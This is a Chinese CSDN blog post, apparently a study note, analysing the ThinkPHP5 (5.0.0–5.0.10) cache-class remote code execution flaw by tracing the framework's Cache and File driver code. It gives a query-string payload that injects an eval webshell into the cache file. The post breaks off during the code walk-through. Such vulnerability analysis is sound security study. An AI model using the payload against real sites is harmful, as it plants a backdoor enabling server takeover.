thinkphp5 异步调用方法_Thinkphp5代码执行学习

本文详细探讨了Thinkphp5中的三个代码执行漏洞:缓存类RCE、未开启强制路由导致的RCE和method任意调用方法导致的RCE。通过分析漏洞成因、受影响版本和利用方式,揭示了Thinkphp5在安全方面的潜在风险。
摘要由CSDN通过智能技术生成

Thinkphp5代码执行学习

缓存类RCE

  • 版本

5.0.0<=ThinkPHP5<=5.0.10

  • Tp框架搭建
b2c68f0185856a7a3c1413de994ebf3e.png
  • 环境搭建
041a9abf7d56901b80595c3d3ce3279f.png
  • 测试payload
?username=syst1m%0d%0a@eval($_GET[_]);//

可以看到已经写入了缓存

7319dabfa44c7cb29776add467804f13.png

漏洞分析

  • thinkphp/library/think/Cache.php:126

先跟踪一下Cache类的set方法

729ff1377e352d6ac661d7095cfc2d1d.png
  • thinkphp/library/think/Cache.php:63

跟踪一下init方法,这里的self::$handler默认值是File,为thinkcachedriverFile 类实例

cd209d96e0b71d601e4f74b42f825b30.png
5ae0afddc6aa4ef2cc220b51df632a3e.png
  • thinkphp/library/think/Cache.php:36

跟进connect方法

44cef9a2bddf7ac96858b9389469cce0.png

先打印一下options内容

array (size=4)  'type' => string 'File' (length=4)  'path' => string '/Applications/MAMP/htdocs/runtime/cache/' (length=40)  'prefix' => string '' (length=0)  'expire' => int 0

type为file,先赋值一个$name,class为hinkcachedriverFile

  • thinkphp/library/think/cache/driver/File.php:137

跟踪一下File类的set方法

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值